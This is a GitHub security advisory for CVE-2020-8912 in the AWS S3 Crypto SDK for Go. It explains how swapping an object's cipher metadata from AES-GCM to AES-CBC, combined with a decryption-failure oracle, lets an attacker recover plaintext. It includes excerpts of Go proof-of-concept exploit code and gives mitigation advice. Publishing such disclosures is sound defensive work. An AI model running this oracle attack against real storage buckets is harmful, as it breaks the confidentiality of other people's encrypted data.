AWS: In-band key negotiation issue in the AWS S3 Crypto SDK for golang

Low **u269c** published **GHSA-7f33-f4f5-xwgw** on Aug 10, 2020

Package

AWS S3 crypto SDK (aws-sdk-go/service/s3/s3crypto)

Affected versions	Patched versions
V1	V2

Description

Summary

The golang AWS S3 Crypto SDK is impacted by an issue that can result in loss of confidentiality and message forgery. The attack requires write access to the bucket in question, and that the attacker has access to an endpoint that reveals decryption failures (without revealing the plaintext) and that when encrypting the GCM option was chosen as content cipher.

Risk/Severity

The vulnerability pose insider risks/privilege escalation risks, circumventing KMS controls for stored data.

Impact

This advisory describes the plaintext revealing vulnerabilities in the golang AWS S3 Crypto SDK, with a similar issue in the non "strict" versions of C++ and Java S3 Crypto SDKs being present as well.

V1 of the S3 crypto SDK does not authenticate the algorithm parameters for the data encryption key.

An attacker with write access to the bucket can use this in order to change the encryption algorithm of an object in the bucket, which can lead to problems depending on the supported algorithms. For example, a switch from AES-GCM to AES-CTR in combination with a decryption oracle can reveal the authentication key used by AES-GCM as decrypting the GMAC tag leaves the authentication key recoverable as an algebraic equation.

By default, the only available algorithms in the SDK are AES-GCM and AES-CBC. Switching the algorithm from AES-GCM to AES-CBC can be used as way to reconstruct the plaintext through an oracle endpoint revealing decryption failures, by brute forcing 16 byte chunks of the plaintext. Note that the plaintext needs to have some known structure for this to work, as a uniform random 16 byte string would be the same as a 128 bit encryption key, which is considered cryptographically safe.

The attack works by taking a 16 byte AES-GCM encrypted block guessing 16 bytes of plaintext, constructing forgery that pretends to be PKCS5 padded AES-CBC, using the ciphertext and the plaintext guess and that will decrypt to a valid message if the guess was correct.

To understand this attack, we have to take a closer look at both AES-GCM and AES-CBC:
AES-GCM encrypts using a variant of CTR mode, i.e. `C_i = AES-Enc(CB_i) ^ M_i` . AES-CBC on the other hand *decrypts* via `M_i = AES-Dec(C_i) ^ C_{i-1}` , where `C_{-1} = IV` . The padding oracle can tell us if, after switching to CBC mode, the plaintext recovered is padded with a valid PKCS5 padding.

Since `AES-Dec(C_i ^ M_i) = CB_i` , if we set `IV' = CB_i ^ 0x10*[16]` , where `0x10*[16]` is the byte `0x10` repeated 16 times, and `C_0' = C_i ^ M_i'` the resulting one block message `(IV', C_0')` will have valid PKCS5 padding if our guess `M_i'` for `M_i` was correct, since the decrypted message consists of 16 bytes of value `0x10` , the PKCS5 padded empty string.

Note however, that an incorrect guess might also result in a valid padding, if the AES decryption result randomly happens to end in `0x01` , `0x0202` , or a longer valid padding. In order to ensure that the guess was indeed correct, a second check using `IV'' = IV' ^ (0x00*[15] || 0x11)` with the same ciphertext block has to be performed. This will decrypt to 15 bytes of value `0x10` and one byte of value `0x01` if our initial guess was correct, producing a valid padding. On an incorrect guess, this second ciphertext forgery will have an invalid padding with a probability of 1:2^128, as one can easily see.

This issue is fixed in V2 of the API, by using the `KMS+context` key wrapping scheme for new files, authenticating the algorithm. Old files encrypted with the `KMS` key wrapping scheme remain vulnerable until they are reencrypted with the new scheme.

Mitigation

Using the version 2 of the S3 crypto SDK will not produce vulnerable files anymore. Old files remain vulnerable to this problem if they were originally encrypted with GCM mode and use the `KMS` key wrapping option.

Proof of concept

A Proof of concept is available in a separate github repository.

This particular issue is described in combined_oracle_exploit.go:

```
func CombinedOracleExploit(bucket string, key string, input *OnlineAttackInput) (string, error) {
        data, header, err := input.S3Mock.GetObjectDirect(bucket, key)
        if alg := header.Get("X-Amz-Meta-X-Amz-Cek-Alg"); alg != "AES/GCM/NoPadding" {
                return "", fmt.Errorf("Algorithm is %q, not GCM!", alg)
        }
        gcmIv, err := base64.StdEncoding.DecodeString(header.Get("X-Amz-Meta-X-Amz-Iv"))
        if len(gcmIv) != 12 {
                return "", fmt.Errorf("GCM IV is %d bytes, not 12", len(gcmIv))
        }
        fullIv := make([]byte, 16)
        confirmIv := make([]byte, 16)
        for i := 0; i < 12; i++ {
                fullIv[i] = gcmIv[i] ^ 0x10
                confirmIv[i] = gcmIv[i] ^ 0x10
        }
        // Set i to the block we want to attempt to decrypt
        counter := i + 2
        for j := 15; j >= 12; j-- {
                v := byte(counter % 256)
                fullIv[j] = 0x10 ^ v
                confirmIv[j] = 0x10 ^ v
                counter /= 256
        }
        confirmIv[15] ^= 0x11
        fullIvEnc := base64.StdEncoding.EncodeToString(fullIv)
```

```
            confirmIvEnc := base64.StdEncoding.EncodeToString(confirmIv)
            success := false
            // Set plaintextGuess to the guess for the plaintext of this block
            newData := []byte(plaintextGuess)
            for j := 0; j < 16; j++ {
                    newData[j] ^= data[16*i+j]
            }
            newHeader := header.Clone()
            newHeader.Set("X-Amz-Meta-X-Amz-Cek-Alg", "AES/CBC/PKCS5Padding")
            newHeader.Set("X-Amz-Meta-X-Amz-Iv", fullIvEnc)
            newHeader.Set("X-Amz-Meta-X-Amz-Unencrypted-Content-Length", "16")
            input.S3Mock.PutObjectDirect(bucket, key+"guess", newData, newHeader)
            if input.Oracle(bucket, key+"guess") {
                    newHeader.Set("X-Amz-Meta-X-Amz-Iv", confirmIvEnc)
                    input.S3Mock.PutObjectDirect(bucket, key+"guess", newData, newHeader)
                    if input.Oracle(bucket, key+"guess") {
                            return plaintextGuess, nil
                    }
            }
            return "", fmt.Errorf("Block %d could not be decrypted", i)
    }
```

Severity

Low

CVE ID

CVE-2020-8912

Weaknesses

No CWEs

Credits

 sophieschmieg